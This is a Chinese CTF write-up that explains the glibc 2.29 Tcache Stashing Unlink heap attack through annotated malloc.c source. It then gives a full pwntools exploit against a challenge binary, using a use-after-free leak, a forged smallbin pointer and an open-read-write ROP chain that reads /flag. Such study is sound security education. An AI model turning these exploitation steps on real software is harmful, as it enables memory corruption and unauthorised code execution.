文章首发于安全客 ,本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/198173
安全客 – 有思想的安全新媒体

0x00 写在前面

Tcache Stashing Unlink Attack这个攻击名词是我第一次见到的,因此写一篇文章以记录思路。

0x01 前置知识

House of Lore Attack

Tcache Stashing Unlink Attack也是利用了Smallbin的相关分配机制进行的攻击,因此此处先对House of Lore这一攻击技术做一个简要的介绍。

攻击目标

分配任意指定位置的 chunk,从而修改任意地址的内存。(任意地址写)

攻击前提

能控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针。

攻击原理

漏洞源码(Glibc2.29 malloc.c line3639)

⚠️:代码中的英文注释为源代码自带,中文注释为分析,Tcache部分不做分析。

  /*
    If a small request, check regular bin.  Since these "smallbins"
    hold one size each, no searching within bins is necessary.
    (For a large request, we need to wait until unsorted chunks are
    processed to find best fit. But for small ones, fits are exact
    anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range (nb))
{
    idx = smallbin_index (nb);
    // 获取 small bin 的索引
    bin = bin_at (av, idx);
    // 先执行 victim = last(bin),获取 small bin 的最后一个 chunk
    // 若结果 victim = bin ,那说明该 bin 为空。
    if ( ( victim = last (bin) ) != bin )
    {
        // 获取 small bin 中倒数第二个 chunk 。
        bck = victim->bk;
        // 检查 bck->fd 是不是 victim,防止伪造
        if ( __glibc_unlikely( bck->fd != victim ) )
            malloc_printerr ("malloc(): smallbin double linked list corrupted");
        // 设置 victim 对应的 inuse 位
        set_inuse_bit_at_offset (victim, nb);
        // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
        bin->bk = bck;
        bck->fd = bin;
        // 如果不是 main_arena,设置对应的标志
        if (av != &main_arena)
            set_non_main_arena (victim);
        //执行更为细致的检查
        check_malloced_chunk (av, victim, nb);
#if USE_TCACHE //如果程序启用了Tcache
        /* While we're here, if we see other chunks of the same size,
        stash them in the tcache.  */
        size_t tc_idx = csize2tidx (nb);
        if (tcache && tc_idx < mp_.tcache_bins)
        {
            mchunkptr tc_victim;
            /* While bin not empty and tcache not full, copy chunks over.  */
            while ( tcache->counts[tc_idx] < mp_.tcache_count
                   && (tc_victim = last (bin) ) != bin)
            {
                if (tc_victim != 0)
                {
                    bck = tc_victim->bk;
                    set_inuse_bit_at_offset (tc_victim, nb);
                    if (av != &main_arena)
                        set_non_main_arena (tc_victim);
                    bin->bk = bck;
                    bck->fd = bin;
                    tcache_put (tc_victim, tc_idx);
                }
            }
        }
#endif
        // 将申请到的 chunk 转化为对应的 mem 状态
        void *p = chunk2mem (victim);
        // 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
        alloc_perturb (p, bytes);
        return p;
    }
}

可以看到,在Glibc2.29中也没有对Small Binmalloc做更多的保护~

漏洞分析
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
    malloc_printerr ("malloc(): smallbin double linked list corrupted");
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset (victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;

也就是说,如果此处我们能够控制 small bin 的最后一个 chunk 的 bk 为我们想要写入的内存地址,并且保证__glibc_unlikely( bck->fd != victim )检查通过就可以在small bin中加入我们想加入的Chunk,进而在内存的任意地址分配一个Chunk!

Tcache Stashing Unlink Attack

攻击目标

向任意指定位置写入指定值。

攻击前提

  1. 能控制 Small Bin Chunk 的 bk 指针。
  2. 程序可以越过Tache取Chunk。
  3. 程序至少可以分配两种不同大小且大小为unsorted bin的Chunk。

攻击原理

我们首先分析House of Lore Attack中所忽视的Tcache相关代码。

#if USE_TCACHE //如果程序启用了Tcache
        /* While we're here, if we see other chunks of the same size,
        stash them in the tcache.  */
        //遍历整个smallbin,获取相同size的free chunk
        size_t tc_idx = csize2tidx (nb);
        if (tcache && tc_idx < mp_.tcache_bins)
        {
            mchunkptr tc_victim;
            /* While bin not empty and tcache not full, copy chunks over.  */
            //判定Tcache的size链表是否已满,并且取出smallbin的末尾Chunk。
            //验证取出的Chunk是否为Bin本身(Smallbin是否已空)
            while ( tcache->counts[tc_idx] < mp_.tcache_count
                   && (tc_victim = last (bin) ) != bin)
            {
                //如果成功获取了Chunk
                if (tc_victim != 0)
                {
                    // 获取 small bin 中倒数第二个 chunk 。
                    bck = tc_victim->bk;
                    //设置标志位
                    set_inuse_bit_at_offset (tc_victim, nb);
                    // 如果不是 main_arena,设置对应的标志
                    if (av != &main_arena)
                        set_non_main_arena (tc_victim);
                    //取出最后一个Chunk
                    bin->bk = bck;
                    bck->fd = bin;
                    //将其放入到Tcache中
                    tcache_put (tc_victim, tc_idx);
                }
            }
        }
#endif

此处我们发现了一个很关键的情况!我们在此处没有经过House of Lore中必须经过的检查:

// 检查 bck->fd 是不是 victim,防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
    malloc_printerr ("malloc(): smallbin double linked list corrupted");

但是此处又有了矛盾的地方!

首先,在引入Tcache后,Tcache中的Chunk拥有绝对优先权,我们不能越过Tcache向SmallBin中填入Chunk,也不能越过Tcache从SmallBin中取出Chunk。(除非Tcache已经处于FULL状态)

然后,我们如果要在这里启动攻击,那么要求SmallBin中至少有两个Chunk(否则无法进入While中的if语句块),同时要求Tcache处于非空状态。

那样就产生了矛盾,导致这个漏洞看似无法利用。

但是calloc函数有一个很有趣的特性,它不会从TcacheChunk,因此可以越过第一条矛盾“不能越过TcacheSmallBin中取出Chunk”。

然后是Unsorted Binlast remainder基址,当申请的Chunk大于Unsorted Bin中Chunk的大小且其为Unsorted Bin中的唯一Chunk时,该Chunk不会进入Tcache

0x02 以BUUOJ-2020 新春红包题-3为例

题目分析

image-20200201212130596

除了Canary保护外,保护全部开启。

image-20200201212240255

题目很明显,在free后没有将指针置零,存在Use-After-Free漏洞,并且因为程序开启了Edit功能和Show功能,导致漏洞十分严重。

image-20200201212738593

题目在分配Chunk时规定了大小,因此限制了我们对于Large Bin Attack的使用。

另外题目的分配函数使用了calloc()calloc()会在申请Chunk后对其内部进行清零操作,并且calloc()不会从Tcache Bin中取出堆块,那么我们直接将Tcache Bin填满就可以进行正常利用了。

程序在最后预留了后门函数,以供我们执行ROP链。

image-20200201213018380

但是后门的启用需要满足三个条件

image-20200201213236842

Back_door_heck变量是一个大小为0x1000的Chunk。

image-20200201213350781

Tcache Bin的填充

首先,需要循环释放7个Chunk到Tcache Bin区域以填满Tcache以防止其干扰我们后续的利用。

for i in range(7):
    creat(sh,15,4,'Chunk_15')
    delete(sh,15)

同时为了之后我们使用Tcache Stashing Unlink Attack,我们需要先向0x100大小的Tcache Bin释放6个Chunk,这样,在将我们伪造的Fake_chunk放入Tcache Bin区域时,Tcache Bin区域将会填满,程序不会继续通过我们伪造的bk指针向后继续遍历。

for i in range(6):
    creat(sh,14,2,'Chunk_14')
    delete(sh,14)

泄露Heap地址及Libc地址

因为UAF漏洞的存在,我们只需要打印已经释放过的Tcache即可计算出Heap区域的首地址。

show(sh,15)
last_chunk_addr = get_address(sh,'We get last chunk address is ','','\x0A')
heap_addr = last_chunk_addr - 0x26C0
log.success('We get heap address is ' + str(hex(heap_addr)))

接下来继续分配一个0x300大小的Chunk,释放后它将进入Unsorted Bin,此时打印它的内容,将泄漏Libc基址。

⚠️:为防止Top Chunk合并,需要在最后额外申请一个Chunk。

creat(sh,1,4,'Chunk_1')
creat(sh,13,3,'Chunk_13')
delete(sh,1)
show(sh,1)
libc_base = get_address(sh,'We leak main arena address is ','','\x0A') - 0x1E4CA0
log.success('We get libc base address is ' + str(hex(libc_base)))

向Small Bin中加入两个Chunk

此时在Unsorted Bin中已经有一个0x410大小的Chunk了,现在我们申请两个0x300大小的Chunk,程序会将0x100大小的Chunk放入Small Bin中。

creat(sh,13,3,'Chunk_13')
creat(sh,13,3,'Chunk_13')

image-20200202203511506

然后我们再次申请一个0x400的Chunk,释放,再申请一个0x300的Chunk,在Small Bin中再次加入一个大小为0x100的Chunk

⚠️:为防止Top Chunk合并,需要在最后额外申请一个Chunk。

creat(sh,2,4,'Chunk_2')
creat(sh,13,4,'Chunk_13')
delete(sh,2)
creat(sh,13,3,'Chunk_13')
creat(sh,13,3,'Chunk_13')

image-20200202203610829

执行 Tcache Stashing Unlink Attack

现在SmallBin中的情况为:

Small Bin: Chunk2 -> Chunk1

那么我们接下来若申请一个大小为0xF0Chunk,程序仅会检查Chunk2fd指针是否指向Chunk1

在取出Chunk1后,因为0x100的Tcache Bin还有1个空位,程序会遍历发现Chunk2满足大小条件并将其放入Tcache Bin中!

我们若此时篡改Chunk2bk指针指向heap_addr+0x250+0x10+0x800-0x10,程序就会在heap_addr+0x250+0x10+0x800的位置写入main_arena的地址,进而可以让我们进入后门函数。

payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x31E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(sh,2,payload)

触发攻击

creat(sh,3,2,'Chunk_3')

构造ROP链

经过检测,发现程序开启了SandBox。

image-20200205163749140

那么我们采取Open-Read-Write的利用方式。

⚠️:Read函数的第一个参数文件描述符从0开始累加,程序进行时内核会自动打开3个文件描述符,0,1,2,分别对应,标准输入、输出和出错,这样在程序中,每打开一个文件,文件描述符值从3开始累加。

因为我们无法获取PIE的值,于是选择从libc中寻找gadget。

image-20200205173304189

至此,我们可以顺利的构造ROP链。

ROP_chain  = '/flag\x00\x00\x00'
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc_base+libc.symbols['open'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['read'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['write'])

Final Exploit

from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'

RedPacket_SoEasyPwn1=ELF('RedPacket_SoEasyPwn1')

if context.arch == 'amd64':
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif context.arch == 'i386':
    libc=ELF("/lib/i386-linux-gnu/libc.so.6")

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./")
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./RedPacket_SoEasyPwn1")

def get_address(sh,info=null,start_string=null,end_string=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif context.arch == 'amd64':
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'\x00'))
    log.success(info+str(hex(return_address)))
    return return_address

def get_flag(sh):
    # sh.recv()
    sh.sendline('ls')
    sh.recv()
    sh.sendline('cat /flag')
    return sh.recvline()

def get_gdb(sh,stop=False):
    gdb.attach(sh)
    if stop :
        raw_input()

def creat(sh,index,chunk_size_index,value):
    sh.recvuntil('Your input: ')
    sh.sendline('1')
    sh.recvuntil('Please input the red packet idx: ')
    sh.sendline(str(index))
    sh.recvuntil('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ')
    sh.sendline(str(chunk_size_index))
    sh.recvuntil('Please input content: ')
    sh.sendline(value)

def delete(sh,index):
    sh.recvuntil('Your input: ')
    sh.sendline('2')
    sh.recvuntil('Please input the red packet idx: ')
    sh.sendline(str(index))

def edit(sh,index,value):
    sh.recvuntil('Your input: ')
    sh.sendline('3')
    sh.recvuntil('Please input the red packet idx: ')
    sh.sendline(str(index))
    sh.recvuntil('Please input content: ')
    sh.sendline(value)

def show(sh,index):
    sh.recvuntil('Your input: ')
    sh.sendline('4')
    sh.recvuntil('Please input the red packet idx: ')
    sh.sendline(str(index))

if __name__ == "__main__":
    sh = get_sh()


    for i in range(7):
        creat(sh,15,4,'Chunk_15')
        delete(sh,15)

    for i in range(6):
        creat(sh,14,2,'Chunk_14')
        delete(sh,14)


    show(sh,15)
    last_chunk_addr = get_address(sh,'We get last chunk address is ','','\x0A')
    heap_addr = last_chunk_addr - 0x26C0
    log.success('We get heap address is ' + str(hex(heap_addr)))

    creat(sh,1,4,'Chunk_1')
    creat(sh,13,3,'Chunk_13')
    delete(sh,1)
    show(sh,1)
    libc_base = get_address(sh,'We leak main arena address is ','','\x0A') - 0x1E4CA0
    log.success('We get libc base address is ' + str(hex(libc_base)))


    creat(sh,13,3,'Chunk_13')
    creat(sh,13,3,'Chunk_13')

    creat(sh,2,4,'Chunk_2')
    creat(sh,13,4,'Chunk_13')
    delete(sh,2)
    creat(sh,13,3,'Chunk_13')
    creat(sh,13,3,'Chunk_13')


    payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x37E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
    edit(sh,2,payload)

    creat(sh,3,2,'Chunk_3')


    pop_rdi_ret = libc_base + 0x0000000000026542
    pop_rsi_ret = libc_base + 0x0000000000026f9e
    pop_rdx_ret = libc_base + 0x000000000012bda6
    file_name_addr = heap_addr + 0x0000000000004A40
    flag_addr = file_name_addr + 0x0000000000000200
    ROP_chain  = '/flag\x00\x00\x00'
    ROP_chain += p64(pop_rdi_ret)
    ROP_chain += p64(file_name_addr)
    ROP_chain += p64(pop_rsi_ret)
    ROP_chain += p64(0)
    ROP_chain += p64(libc_base+libc.symbols['open'])
    ROP_chain += p64(pop_rdi_ret)
    ROP_chain += p64(3)
    ROP_chain += p64(pop_rsi_ret)
    ROP_chain += p64(flag_addr)
    ROP_chain += p64(pop_rdx_ret)
    ROP_chain += p64(0x40)
    ROP_chain += p64(libc_base+libc.symbols['read'])
    ROP_chain += p64(pop_rdi_ret)
    ROP_chain += p64(1)
    ROP_chain += p64(pop_rsi_ret)
    ROP_chain += p64(flag_addr)
    ROP_chain += p64(pop_rdx_ret)
    ROP_chain += p64(0x40)
    ROP_chain += p64(libc_base+libc.symbols['write'])

    creat(sh,4,4,ROP_chain)

    leave_ret = libc_base + 0x0000000000058373
    sh.recvuntil('Your input: ')
    sh.sendline('666')
    sh.recvuntil('What do you want to say?')
    sh.sendline('A'*0x80 + p64(file_name_addr) + p64(leave_ret))

    sh.interactive()

0x04 参考链接

CTF-wiki House of Lore

HITCON CTF 2019 Quals — One Punch Man – berming

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注